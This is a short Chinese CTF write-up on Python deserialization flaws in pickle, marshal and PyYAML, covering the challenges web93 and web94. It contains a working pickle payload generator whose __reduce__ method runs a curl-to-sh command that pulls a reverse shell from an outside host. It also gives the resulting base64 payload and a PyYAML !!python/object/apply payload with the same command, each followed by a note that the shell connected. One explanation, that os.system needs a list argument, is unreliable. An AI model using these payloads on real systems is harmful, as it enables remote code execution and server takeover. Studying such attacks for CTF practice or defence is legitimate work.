目录
python反序列化
序列化:
类对象->字节流
反序列化:
字节流->对象
python序列化常用的模板
1 pickle
2 json
特征:
竟然不需要 恶意类
反序列化字符串里面包含类的所有定义,包括类的方法
php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板
python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法
Marshal 反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理
PyYAML 反序列化
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签
①web93
payload生成脚本
import pickle
import os
import base64
class test():
def __init__(self):
self.username=0
self.password=0
def login(self,username,password):
return username=='admin' and password=='123456'
#类似php里的__wakeup__魔术方法
#返回一个元组,第一个成员是回调函数,第二个成员是回调函数的参数
def __reduce__(self):
print('reduce')
return os.system,('curl https://your-shell.com/124.222.136.33:1337 |sh',)
a=test()
#生成字节流
serialize=pickle.dumps(a)
payload=base64.b64encode(serialize)
print(payload)
注意服务器是linux进行反序列化操作,我们也要在linux上进行序列化操作,否则会报错
payload:
.../unserialize
data=gASVTgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDNjdXJsIGh0dHBzOi8veW91ci1zaGVsbC5jb20vMTI0LjIyMi4xMzYuMzM6MTMzNyB8c2iUhZRSlC4=
监听成功反弹shell
②web94
!!python/object/apply
的标签可以让 YAML 解析器执行 Python 代码
方括号被用于将命令字符串作为列表的单个元素,并将整个列表作为参数传递给 os.system
函数。使用方括号是因为 os.system
函数接受的参数类型是一个列表,而不是元组。通过将命令字符串放入列表中,可以确保 os.system
函数正确地接收到命令作为参数。
payload:
.../unserialize
data=!!python/object/apply:os.system ["curl https://your-shell.com/124.222.136.33:1337 |sh"]
监听成功反弹shell